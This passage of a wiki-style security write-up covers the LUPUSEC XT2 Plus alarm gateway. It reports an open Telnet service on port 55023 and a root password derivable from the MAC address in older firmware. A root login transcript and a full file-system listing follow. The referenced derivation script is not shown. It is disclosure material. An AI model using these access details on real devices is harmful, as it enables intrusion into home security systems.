&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Although the device is very well protected, the question arises why it has an open Telnet port on &amp;lt;code&amp;gt;55023&amp;lt;/code&amp;gt;.  Although it is not on its standard port, it is not more difficult to find.  Furthermore Fabian D. found out that in the firmware versions before &amp;lt;code&amp;gt;v0.0.3.0&amp;lt;/code&amp;gt; the root password can be derived from the MAC address using a hardcoded salt as the Python script below shows. This Password in combination with the telnet login allows full access to partially publicly exposed devices. A fatal security hole which has been fixed in the current firmware versions by mid 2019. Now, the affected users only need to upgrade their devices, which was not the case in with the here tested device. Furthermore the password has a length of 8 characters in the key space of &amp;lt;code&amp;gt;^[A-z0-9]$&amp;lt;/code&amp;gt; which is not considered secure by modern standards and the telnet interface has no measures against repeated login attempts.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
$ telnet $XT2_IP 55023&lt;br /&gt;
Trying 192.168.86.34...&lt;br /&gt;
Connected to 192.168.86.34.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
&lt;br /&gt;
HPGW-NET6 login: root&lt;br /&gt;
Password:&lt;br /&gt;
Welcome to&lt;br /&gt;
     ____   __ __                                       __&lt;br /&gt;
    / ___\ / //_/                      __              / /&lt;br /&gt;
   / /    / /__ _ __   __  __  __    _/ / ___   ___   / /_&lt;br /&gt;
  / /    / // //    \ /  \ \ \/ /   /  _// _ \ / __\ / __ \&lt;br /&gt;
 / /___ / // // / / // /  \ &amp;gt;  &amp;lt;    / / / ___// /__ / / / /&lt;br /&gt;
 \____//_//_//_/_/_/ \__/\//_/\_\   \_/ \___/ \___//_/ /_/&lt;br /&gt;
&lt;br /&gt;
For further information check:&lt;br /&gt;
http://www.climax.com.tw/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]#&lt;br /&gt;
adc_det_test, ash, busybox, bypassAP, bypassAP_std, cat, chat, cp, depmod, devmem, df, dmesg, dnsdomainname, echo, flash_erase, flash_eraseall, fw_printenv, gm_nand_write, gm_spi_write, grep, gunzip, gzip, halt, hostname, hwclock, i2c_access, ifconfig, init, insmod, iwconfig, iwevent, iwgetid, iwlist, iwpriv, kill, killall, ln, login, loopback, ls, lsmod, md5sum, mdev, mkdir, mknod, modprobe, mount, mv, nanddump, pidof, ping, poweroff, pppd, pppdump, pppoe-discovery, pppstats, ps, pwm_test, reboot, record_std, rm, rmdir, rmmod, route, rtctest, serial_test, sh, sleep, sync, tar, telnetd, top, traceroute, udhcpc, udhcpd, umount, watchdog, wdt_test, zcat&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The basic operating system comes from the Taiwanese company Climax. LUPUSEC simply re-branded a Climax HPGW-G2 system and loaded some of their custom firmware on it.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: File System&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/&lt;br /&gt;
├── bin&lt;br /&gt;
│   ├── adc_det_test&lt;br /&gt;
│   ├── ash -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── busybox&lt;br /&gt;
│   ├── bypassAP&lt;br /&gt;
│   ├── bypassAP_std&lt;br /&gt;
│   ├── cat -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── cp -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── df -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── dmesg -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── dnsdomainname -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── echo -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── flash_erase&lt;br /&gt;
│   ├── flash_eraseall&lt;br /&gt;
│   ├── gm_nand_write&lt;br /&gt;
│   ├── gm_spi_write&lt;br /&gt;
│   ├── grep -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── gunzip -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── gzip -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── hostname -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── i2c_access&lt;br /&gt;
│   ├── iwpriv&lt;br /&gt;
│   ├── kill -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── ln -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── login -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── loopback&lt;br /&gt;
│   ├── ls -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mkdir -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mknod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mount -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mv -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── nanddump&lt;br /&gt;
│   ├── pidof -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── ping -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── ps -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── pwm_test&lt;br /&gt;
│   ├── record_std&lt;br /&gt;
│   ├── rm -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── rmdir -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── rtctest&lt;br /&gt;
│   ├── serial_test&lt;br /&gt;
│   ├── sh -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── sleep -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── sync -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── tar -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── umount -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── wdt_test&lt;br /&gt;
│   └── zcat -&amp;gt; /bin/busybox&lt;br /&gt;
├── dev&lt;br /&gt;
│   ├── pts&lt;br /&gt;
│   └── shm&lt;br /&gt;
├── etc&lt;br /&gt;
│   ├── fstab&lt;br /&gt;
│   ├── fw_env.config&lt;br /&gt;
│   ├── group&lt;br /&gt;
│   ├── host.conf&lt;br /&gt;
│   ├── hosts&lt;br /&gt;
│   ├── inetd.conf&lt;br /&gt;
│   ├── init.d&lt;br /&gt;
│   │   ├── rc.climax&lt;br /&gt;
│   │   ├── rc.mtd&lt;br /&gt;
│   │   ├── rc.reboot&lt;br /&gt;
│   │   ├── rc.sysinit&lt;br /&gt;
│   │   ├── rc.sysinit_bak&lt;br /&gt;
│   │   ├── rc.test&lt;br /&gt;
│   │   └── test.sh&lt;br /&gt;
│   ├── inittab&lt;br /&gt;
│   ├── issue&lt;br /&gt;
│   ├── motd&lt;br /&gt;
│   ├── network&lt;br /&gt;
│   │   └── interfaces&lt;br /&gt;
│   ├── nsswitch.conf&lt;br /&gt;
│   ├── passwd&lt;br /&gt;
│   ├── profile&lt;br /&gt;
│   ├── resolv.conf&lt;br /&gt;
│   ├── resolv.conf.eth0&lt;br /&gt;
│   ├── services&lt;br /&gt;
│   └── shadow&lt;br /&gt;
├── include&lt;br /&gt;
├── init&lt;br /&gt;
├── lib&lt;br /&gt;
│   ├── ld-2.11.so&lt;br /&gt;
│   ├── ld-linux.so.3 -&amp;gt; ld-2.11.so&lt;br /&gt;
│   ├── libc-2.11.so&lt;br /&gt;
│   ├── libc.so&lt;br /&gt;
│   ├── libc.so.6 -&amp;gt; libc-2.11.so&lt;br /&gt;
│   ├── libcrypt-2.11.so&lt;br /&gt;
│   ├── libcrypt.so -&amp;gt; libcrypt.so.1&lt;br /&gt;
│   ├── libcrypt.so.1 -&amp;gt; libcrypt-2.11.so&lt;br /&gt;
│   ├── libdl-2.11.so&lt;br /&gt;
│   ├── libdl.so -&amp;gt; libdl.so.2&lt;br /&gt;
│   ├── libdl.so.2 -&amp;gt; libdl-2.11.so&lt;br /&gt;
│   ├── libgcc_s.so&lt;br /&gt;
│   ├── libgcc_s.so.1&lt;br /&gt;
│   ├── libiw.so -&amp;gt; libiw.so.30&lt;br /&gt;
│   ├── libiw.so.30&lt;br /&gt;
│   ├── libm-2.11.so&lt;br /&gt;
│   ├── libm.so -&amp;gt; libm.so.6&lt;br /&gt;
│   ├── libm.so.6 -&amp;gt; libm-2.11.so&lt;br /&gt;
│   ├── libnsl-2.11.so&lt;br /&gt;
│   ├── libnsl.so -&amp;gt; libnsl.so.1&lt;br /&gt;
│   ├── libnsl.so.1 -&amp;gt; libnsl-2.11.so&lt;br /&gt;
│   ├── libnss_dns-2.11.so&lt;br /&gt;
│   ├── libnss_dns.so -&amp;gt; libnss_dns.so.2&lt;br /&gt;
│   ├── libnss_dns.so.2 -&amp;gt; libnss_dns-2.11.so&lt;br /&gt;
│   ├── libnss_files-2.11.so&lt;br /&gt;
│   ├── libnss_files.so -&amp;gt; libnss_files.so.2&lt;br /&gt;
│   ├── libnss_files.so.2 -&amp;gt; libnss_files-2.11.so&lt;br /&gt;
│   ├── libpthread-2.11.so&lt;br /&gt;
│   ├── libpthread.so&lt;br /&gt;
│   ├── libpthread.so.0 -&amp;gt; libpthread-2.11.so&lt;br /&gt;
│   ├── libresolv-2.11.so&lt;br /&gt;
│   ├── libresolv.so -&amp;gt; libresolv.so.2&lt;br /&gt;
│   ├── libresolv.so.2 -&amp;gt; libresolv-2.11.so&lt;br /&gt;
│   ├── librt-2.11.so&lt;br /&gt;
│   ├── librt.so -&amp;gt; librt.so.1&lt;br /&gt;
│   ├── librt.so.1 -&amp;gt; librt-2.11.so&lt;br /&gt;
│   ├── libthread_db-1.0.so&lt;br /&gt;
│   ├── libthread_db.so -&amp;gt; libthread_db.so.1&lt;br /&gt;
│   ├── libthread_db.so.1 -&amp;gt; libthread_db-1.0.so&lt;br /&gt;
│   ├── libutil-2.11.so&lt;br /&gt;
│   ├── libutil.so -&amp;gt; libutil.so.1&lt;br /&gt;
│   ├── libutil.so.1 -&amp;gt; libutil-2.11.so&lt;br /&gt;
│   └── modules&lt;br /&gt;
│       ├── climax.ko&lt;br /&gt;
│       ├── cpe-wdt.ko&lt;br /&gt;
│       ├── ftmac100.ko&lt;br /&gt;
│       ├── ftpwmtmr010.ko&lt;br /&gt;
│       ├── ftsar_adc010.ko&lt;br /&gt;
│       ├── rtc-ftrtc011.ko&lt;br /&gt;
│       └── sar_adc_dev0.ko&lt;br /&gt;
├── linuxrc -&amp;gt; bin/busybox&lt;br /&gt;
├── mnt&lt;br /&gt;
│   ├── mtd&lt;br /&gt;
│   │   ├── MAC&lt;br /&gt;
│   │   ├── config&lt;br /&gt;
│   │   │   ├── alarm.log&lt;br /&gt;
│   │   │   ├── alarm_history.json&lt;br /&gt;
│   │   │   ├── alarm_history.json.md5sum&lt;br /&gt;
│   │   │   ├── area.json&lt;br /&gt;
│   │   │   ├── area.json.md5sum&lt;br /&gt;
│   │   │   ├── config.json&lt;br /&gt;
│   │   │   ├── config.json.md5sum&lt;br /&gt;
│   │   │   ├── debug0.log&lt;br /&gt;
│   │   │   ├── debug1.log&lt;br /&gt;
│   │   │   ├── debug2.log&lt;br /&gt;
│   │   │   ├── debug3.log&lt;br /&gt;
│   │   │   ├── device.json&lt;br /&gt;
│   │   │   ├── device.json.md5sum&lt;br /&gt;
│   │   │   ├── device_bak.json&lt;br /&gt;
│   │   │   ├── device_sched.json&lt;br /&gt;
│   │   │   ├── device_sched.json.md5sum&lt;br /&gt;
│   │   │   ├── device_upic.json&lt;br /&gt;
│   │   │   ├── device_upic.json.md5sum&lt;br /&gt;
│   │   │   ├── device_week_schd.json&lt;br /&gt;
│   │   │   ├── device_week_schd.json.md5sum&lt;br /&gt;
│   │   │   ├── group.json&lt;br /&gt;
│   │   │   ├── group.json.md5sum&lt;br /&gt;
│   │   │   ├── ha.json&lt;br /&gt;
│   │   │   ├── ha.json.md5sum&lt;br /&gt;
│   │   │   ├── history.json.md5sum&lt;br /&gt;
│   │   │   ├── history0.part&lt;br /&gt;
│   │   │   ├── image.json&lt;br /&gt;
│   │   │   ├── image.json.md5sum&lt;br /&gt;
│   │   │   ├── note.json&lt;br /&gt;
│   │   │   ├── note.json.md5sum&lt;br /&gt;
│   │   │   ├── report.json&lt;br /&gt;
│   │   │   ├── report.json.md5sum&lt;br /&gt;
│   │   │   ├── report_setting.json&lt;br /&gt;
│   │   │   ├── report_setting.json.md5sum&lt;br /&gt;
│   │   │   ├── system.log&lt;br /&gt;
│   │   │   ├── user.json&lt;br /&gt;
│   │   │   ├── user.json.md5sum&lt;br /&gt;
│   │   │   ├── web_token.json&lt;br /&gt;
│   │   │   └── web_token.json.md5sum&lt;br /&gt;
│   │   └── temp&lt;br /&gt;
│   │       ├── download&lt;br /&gt;
│   │       └── zb&lt;br /&gt;
│   └── nfs&lt;br /&gt;
├── root&lt;br /&gt;
│   ├── common&lt;br /&gt;
│   │   ├── beeper.json&lt;br /&gt;
│   │   ├── device_tmpl.json&lt;br /&gt;
│   │   ├── error.jpg&lt;br /&gt;
│   │   ├── led.json&lt;br /&gt;
│   │   ├── string.json&lt;br /&gt;
│   │   └── string_1p.json&lt;br /&gt;
│   ├── config -&amp;gt; /mnt/mtd/config&lt;br /&gt;
│   ├── config.tgz&lt;br /&gt;
│   ├── driver&lt;br /&gt;
│   │   └── TODO&lt;br /&gt;
│   ├── hpgw&lt;br /&gt;
│   ├── html&lt;br /&gt;
│   │   ├── css&lt;br /&gt;
│   │   │   ├── core.css&lt;br /&gt;
│   │   │   ├── fullscreen.css&lt;br /&gt;
│   │   │   ├── ie-only.css&lt;br /&gt;
│   │   │   ├── jquery.gridster.css&lt;br /&gt;
│   │   │   ├── jquery.guide.css&lt;br /&gt;
│   │   │   ├── main.css&lt;br /&gt;
│   │   │   ├── multiple-select.css&lt;br /&gt;
│   │   │   └── nv.d3.css&lt;br /&gt;
│   │   ├── error.htm&lt;br /&gt;
│   │   ├── factory&lt;br /&gt;
│   │   │   ├── deviceLr.htm&lt;br /&gt;
│   │   │   ├── mac.htm&lt;br /&gt;
│   │   │   └── test.htm&lt;br /&gt;
│   │   ├── favicon.ico&lt;br /&gt;
│   │   ├── fonts&lt;br /&gt;
│   │   │   ├── FuturaBT-HeavyItalic.ttf&lt;br /&gt;
│   │   │   ├── FuturaBT-HeavyItalic.woff&lt;br /&gt;
│   │   │   ├── FuturaStd-Light.ttf&lt;br /&gt;
│   │   │   ├── FuturaStd-Light.woff&lt;br /&gt;
│   │   │   ├── FuturaStdBook.ttf&lt;br /&gt;
│   │   │   └── FuturaStdBook.woff&lt;br /&gt;
│   │   ├── images&lt;br /&gt;
│   │   │   ├── activityspin.gif&lt;br /&gt;
│   │   │   ├── ajaxld.gif&lt;br /&gt;
│   │   │   ├── arrow.gif&lt;br /&gt;
│   │   │   ├── arrows.png&lt;br /&gt;
│   │   │   ├── bg_help.png&lt;br /&gt;
│   │   │   ├── bg_page.png&lt;br /&gt;
│   │   │   ├── clock_bg_bottom.png&lt;br /&gt;
│   │   │   ├── clock_bg_top.png&lt;br /&gt;
│   │   │   ├── close.gif&lt;br /&gt;
│   │   │   ├── colorwheel.png&lt;br /&gt;
│   │   │   ├── column.gif&lt;br /&gt;
│   │   │   ├── column_grey.gif&lt;br /&gt;
│   │   │   ├── column_grey_2.gif&lt;br /&gt;
│   │   │   ├── control_buttons.png&lt;br /&gt;
│   │   │   ├── dialog2-grey.png&lt;br /&gt;
│   │   │   ├── empty.gif&lt;br /&gt;
│   │   │   ├── error.jpg&lt;br /&gt;
│   │   │   ├── hue_200.jpg&lt;br /&gt;
│   │   │   ├── icon-e.gif&lt;br /&gt;
│   │   │   ├── icon-s.gif&lt;br /&gt;
│   │   │   ├── icon-w.gif&lt;br /&gt;
│   │   │   ├── icon_close.png&lt;br /&gt;
│   │   │   ├── icon_menu.png&lt;br /&gt;
│   │   │   ├── icon_notification_alarm.png&lt;br /&gt;
│   │   │   ├── icon_notification_info.png&lt;br /&gt;
│   │   │   ├── icon_notification_shield.png&lt;br /&gt;
│   │   │   ├── icon_notification_warning.png&lt;br /&gt;
│   │   │   ├── icons.png&lt;br /&gt;
│   │   │   ├── jscal.gif&lt;br /&gt;
│   │   │   ├── leds.png&lt;br /&gt;
│   │   │   ├── lupusec24_banner.jpg&lt;br /&gt;
│   │   │   ├── lupusec24_main.jpg&lt;br /&gt;
│   │   │   ├── lupusec24_premium.jpg&lt;br /&gt;
│   │   │   ├── lupusec24_standard.jpg&lt;br /&gt;
│   │   │   ├── mode_map.png&lt;br /&gt;
│   │   │   ├── mode_map_icons.png&lt;br /&gt;
│   │   │   ├── multiple-select.png&lt;br /&gt;
│   │   │   ├── nav-slider.png&lt;br /&gt;
│   │   │   ├── nav_sub.png&lt;br /&gt;
│   │   │   ├── navmain_bg.gif&lt;br /&gt;
│   │   │   ├── navsub_bg.gif&lt;br /&gt;
│   │   │   ├── navsub_bg_active.png&lt;br /&gt;
│   │   │   ├── navtop_bg.gif&lt;br /&gt;
│   │   │   ├── osd_buttons_18x18.png&lt;br /&gt;
│   │   │   ├── osd_opener.png&lt;br /&gt;
│   │   │   ├── osd_status.png&lt;br /&gt;
│   │   │   ├── panel_status.png&lt;br /&gt;
│   │   │   ├── scale.png&lt;br /&gt;
│   │   │   ├── signal.png&lt;br /&gt;
│   │   │   ├── tour_ipcam.png&lt;br /&gt;
│   │   │   ├── wizard.png&lt;br /&gt;
│   │   │   └── x.gif&lt;br /&gt;
│   │   ├── index.htm&lt;br /&gt;
│   │   ├── js&lt;br /&gt;
│   │   │   ├── colorpicker.js&lt;br /&gt;
│   │   │   ├── common.js&lt;br /&gt;
│   │   │   ├── core.js&lt;br /&gt;
│   │   │   ├── crossfilter.min.js&lt;br /&gt;
│   │   │   ├── d3.min.js&lt;br /&gt;
│   │   │   ├── grid.colorpicker.js&lt;br /&gt;
│   │   │   ├── grid.js&lt;br /&gt;
│   │   │   ├── jquery-1.12.4.min.js&lt;br /&gt;
│   │   │   ├── jquery-ui-1.11.4.custom.min.js&lt;br /&gt;
│   │   │   ├── jquery.gridster.js&lt;br /&gt;
│   │   │   ├── jquery.guide.js&lt;br /&gt;
│   │   │   ├── jquery.multiple.select.min.js&lt;br /&gt;
│   │   │   ├── jquery.scrollbar.js&lt;br /&gt;
│   │   │   ├── jquery.ui.timepicker.js&lt;br /&gt;
│   │   │   ├── lz-string.js&lt;br /&gt;
│   │   │   ├── mdetect.js&lt;br /&gt;
│   │   │   ├── menu.js&lt;br /&gt;
│   │   │   ├── modernizr-2.8.3.min.js&lt;br /&gt;
│   │   │   ├── nvd3-1.1.11b.custom.js&lt;br /&gt;
│   │   │   └── overview.js&lt;br /&gt;
│   │   ├── language&lt;br /&gt;
│   │   │   ├── de.js&lt;br /&gt;
│   │   │   ├── en.js&lt;br /&gt;
│   │   │   ├── fr.js&lt;br /&gt;
│   │   │   ├── it.js&lt;br /&gt;
│   │   │   └── sp.js&lt;br /&gt;
│   │   ├── override&lt;br /&gt;
│   │   │   ├── de.js&lt;br /&gt;
│   │   │   ├── en.js&lt;br /&gt;
│   │   │   ├── fr.js&lt;br /&gt;
│   │   │   ├── it.js&lt;br /&gt;
│   │   │   └── sp.js&lt;br /&gt;
│   │   ├── pax_global_header&lt;br /&gt;
│   │   ├── rf&lt;br /&gt;
│   │   │   └── deviceAddByID.htm&lt;br /&gt;
│   │   ├── setting&lt;br /&gt;
│   │   │   ├── actUrl.htm&lt;br /&gt;
│   │   │   ├── adminUser.htm&lt;br /&gt;
│   │   │   ├── amr.htm&lt;br /&gt;
│   │   │   ├── capEvent.htm&lt;br /&gt;
│   │   │   ├── changePasswd.htm&lt;br /&gt;
│   │   │   ├── changePasswd3.htm&lt;br /&gt;
│   │   │   ├── codeSetting.htm&lt;br /&gt;
│   │   │   ├── comparsion.htm&lt;br /&gt;
│   │   │   ├── config.htm&lt;br /&gt;
│   │   │   ├── datetime.htm&lt;br /&gt;
│   │   │   ├── ddnsWeb.htm&lt;br /&gt;
│   │   │   ├── debug.htm&lt;br /&gt;
│   │   │   ├── deviceEdit.htm&lt;br /&gt;
│   │   │   ├── deviceEx.htm&lt;br /&gt;
│   │   │   ├── deviceLr.htm&lt;br /&gt;
│   │   │   ├── deviceLrRule.htm&lt;br /&gt;
│   │   │   ├── deviceLrRuleAdd.htm&lt;br /&gt;
│   │   │   ├── deviceLrRuleEdit.htm&lt;br /&gt;
│   │   │   ├── devicePSS.htm&lt;br /&gt;
│   │   │   ├── deviceSurv.htm&lt;br /&gt;
│   │   │   ├── deviceThermo.htm&lt;br /&gt;
│   │   │   ├── deviceUPIC.htm&lt;br /&gt;
│   │   │   ├── deviceUpgrade.htm&lt;br /&gt;
│   │   │   ├── deviceWk.htm&lt;br /&gt;
│   │   │   ├── factoryRst.htm&lt;br /&gt;
│   │   │   ├── fullscreen.htm&lt;br /&gt;
│   │   │   ├── grid.htm&lt;br /&gt;
│   │   │   ├── group.htm&lt;br /&gt;
│   │   │   ├── ha.htm&lt;br /&gt;
│   │   │   ├── history.htm&lt;br /&gt;
│   │   │   ├── historyPSM.htm&lt;br /&gt;
│   │   │   ├── historyTemp.htm&lt;br /&gt;
│   │   │   ├── info.htm&lt;br /&gt;
│   │   │   ├── ipcam.htm&lt;br /&gt;
│   │   │   ├── language.htm&lt;br /&gt;
│   │   │   ├── log.htm&lt;br /&gt;
│   │   │   ├── logger.htm&lt;br /&gt;
│   │   │   ├── mobile.htm&lt;br /&gt;
│   │   │   ├── network.htm&lt;br /&gt;
│   │   │   ├── newPasswd.htm&lt;br /&gt;
│   │   │   ├── noteEdit.htm&lt;br /&gt;
│   │   │   ├── overview.htm&lt;br /&gt;
│   │   │   ├── panel.htm&lt;br /&gt;
│   │   │   ├── poll.htm&lt;br /&gt;
│   │   │   ├── progSiren.htm&lt;br /&gt;
│   │   │   ├── record.htm&lt;br /&gt;
│   │   │   ├── report.htm&lt;br /&gt;
│   │   │   ├── reportEvent.htm&lt;br /&gt;
│   │   │   ├── reportSMS.htm&lt;br /&gt;
│   │   │   ├── reportVoice.htm&lt;br /&gt;
│   │   │   ├── scene.htm&lt;br /&gt;
│   │   │   ├── sdcard.htm&lt;br /&gt;
│   │   │   ├── sendSMS.htm&lt;br /&gt;
│   │   │   ├── sirenCtrl.htm&lt;br /&gt;
│   │   │   ├── smtp.htm&lt;br /&gt;
│   │   │   ├── system.htm&lt;br /&gt;
│   │   │   ├── tariffs.htm&lt;br /&gt;
│   │   │   ├── test_ip.htm&lt;br /&gt;
│   │   │   ├── upgrade.htm&lt;br /&gt;
│   │   │   ├── upgradeRF.htm&lt;br /&gt;
│   │   │   ├── upload.htm&lt;br /&gt;
│   │   │   ├── upnp.htm&lt;br /&gt;
│   │   │   ├── userCode.htm&lt;br /&gt;
│   │   │   ├── userCode3.htm&lt;br /&gt;
│   │   │   ├── version&lt;br /&gt;
│   │   │   ├── wireless.htm&lt;br /&gt;
│   │   │   ├── wizard.htm&lt;br /&gt;
│   │   │   ├── xmpp.htm&lt;br /&gt;
│   │   │   └── zwaveTool.htm&lt;br /&gt;
│   │   ├── successReboot.htm&lt;br /&gt;
│   │   ├── svg&lt;br /&gt;
│   │   │   ├── area_status&lt;br /&gt;
│   │   │   │   ├── area_alarm.svg&lt;br /&gt;
│   │   │   │   ├── area_armed.svg&lt;br /&gt;
│   │   │   │   ├── area_disarmed.svg&lt;br /&gt;
│   │   │   │   ├── area_home.svg&lt;br /&gt;
│   │   │   │   └── area_warning.svg&lt;br /&gt;
│   │   │   ├── arrow.svg&lt;br /&gt;
│   │   │   ├── btn_map.svg&lt;br /&gt;
│   │   │   ├── current&lt;br /&gt;
│   │   │   │   ├── {0-47}.svg&lt;br /&gt;
│   │   │   ├── forecast&lt;br /&gt;
│   │   │   │   ├── {0-47}.svg&lt;br /&gt;
│   │   │   ├── grid.svg&lt;br /&gt;
│   │   │   ├── icons&lt;br /&gt;
│   │   │   │   ├── connected.svg&lt;br /&gt;
│   │   │   │   ├── day.svg&lt;br /&gt;
│   │   │   │   ├── disconnected.svg&lt;br /&gt;
│   │   │   │   ├── eye.svg&lt;br /&gt;
│   │   │   │   ├── in.svg&lt;br /&gt;
│   │   │   │   ├── location.svg&lt;br /&gt;
│   │   │   │   ├── miss.svg&lt;br /&gt;
│   │   │   │   ├── night.svg&lt;br /&gt;
│   │   │   │   ├── out.svg&lt;br /&gt;
│   │   │   │   ├── purple.svg&lt;br /&gt;
│   │   │   │   ├── rain_probability.svg&lt;br /&gt;
│   │   │   │   ├── ring.svg&lt;br /&gt;
│   │   │   │   ├── temperature.svg&lt;br /&gt;
│   │   │   │   ├── winddirection.svg&lt;br /&gt;
│   │   │   │   └── windspeed.svg&lt;br /&gt;
│   │   │   ├── logo1plus.svg&lt;br /&gt;
│   │   │   ├── logo2.svg&lt;br /&gt;
│   │   │   ├── logo2plus.svg&lt;br /&gt;
│   │   │   ├── logo3.svg&lt;br /&gt;
│   │   │   ├── nocam.svg&lt;br /&gt;
│   │   │   ├── nocontent.svg&lt;br /&gt;
│   │   │   └── notify&lt;br /&gt;
│   │   │       ├── notify_bell.svg&lt;br /&gt;
│   │   │       ├── notify_information.svg&lt;br /&gt;
│   │   │       ├── notify_shield.svg&lt;br /&gt;
│   │   │       └── notify_warning.svg&lt;br /&gt;
│   │   ├── temp -&amp;gt; ../temp&lt;br /&gt;
│   │   ├── templates&lt;br /&gt;
│   │   │   ├── grid_c.htm&lt;br /&gt;
│   │   │   ├── grid_gu.htm&lt;br /&gt;
│   │   │   └── grid_widget.htm&lt;br /&gt;
│   │   ├── test&lt;br /&gt;
│   │   │   ├── config.htm&lt;br /&gt;
│   │   │   ├── httpc.htm&lt;br /&gt;
│   │   │   ├── runXMLCmd.htm&lt;br /&gt;
│   │   │   └── tryReport.htm&lt;br /&gt;
│   │   └── welcome.htm&lt;br /&gt;
│   ├── in&lt;br /&gt;
│   ├── launcher&lt;br /&gt;
│   ├── script&lt;br /&gt;
│   │   ├── apnsCert.pem&lt;br /&gt;
│   │   ├── apnsKey.pem&lt;br /&gt;
│   │   ├── codec.sh&lt;br /&gt;
│   │   ├── index1.htm&lt;br /&gt;
│   │   ├── index2.htm&lt;br /&gt;
│   │   ├── index3.htm&lt;br /&gt;
│   │   ├── lupus_svr.cert&lt;br /&gt;
│   │   ├── lupus_svr.key&lt;br /&gt;
│   │   ├── pppd_connect.txt&lt;br /&gt;
│   │   ├── pppd_option.txt&lt;br /&gt;
│   │   ├── pppd_pap.txt&lt;br /&gt;
│   │   ├── pushproductioncertificate.p12&lt;br /&gt;
│   │   ├── udhcpc.txt&lt;br /&gt;
│   │   ├── upload1.smil&lt;br /&gt;
│   │   ├── upload1v.smil&lt;br /&gt;
│   │   └── upload3.smil&lt;br /&gt;
│   ├── temp -&amp;gt; /mnt/mtd/temp&lt;br /&gt;
│   ├── temp.tgz&lt;br /&gt;
│   └── test&lt;br /&gt;
├── sbin&lt;br /&gt;
│   ├── chat&lt;br /&gt;
│   ├── depmod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── devmem -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── fw_printenv&lt;br /&gt;
│   ├── halt -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── hwclock -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── ifconfig -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── init -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── insmod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── iwconfig&lt;br /&gt;
│   ├── iwevent&lt;br /&gt;
│   ├── iwgetid&lt;br /&gt;
│   ├── iwlist&lt;br /&gt;
│   ├── iwpriv&lt;br /&gt;
│   ├── lsmod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mdev -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── modprobe -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── poweroff -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── pppd&lt;br /&gt;
│   ├── pppdump&lt;br /&gt;
│   ├── pppoe-discovery&lt;br /&gt;
│   ├── pppstats&lt;br /&gt;
│   ├── reboot -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── rmmod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── route -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── udhcpc -&amp;gt; /bin/busybox&lt;br /&gt;
│   └── watchdog -&amp;gt; /bin/busybox&lt;br /&gt;
├── share&lt;br /&gt;
└── sys&lt;br /&gt;
    ├── devices&lt;br /&gt;
    │   └── platform&lt;br /&gt;
    │       └── uevent&lt;br /&gt;
    └── fs&lt;br /&gt;
&lt;br /&gt;
46 directories, 534 files&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
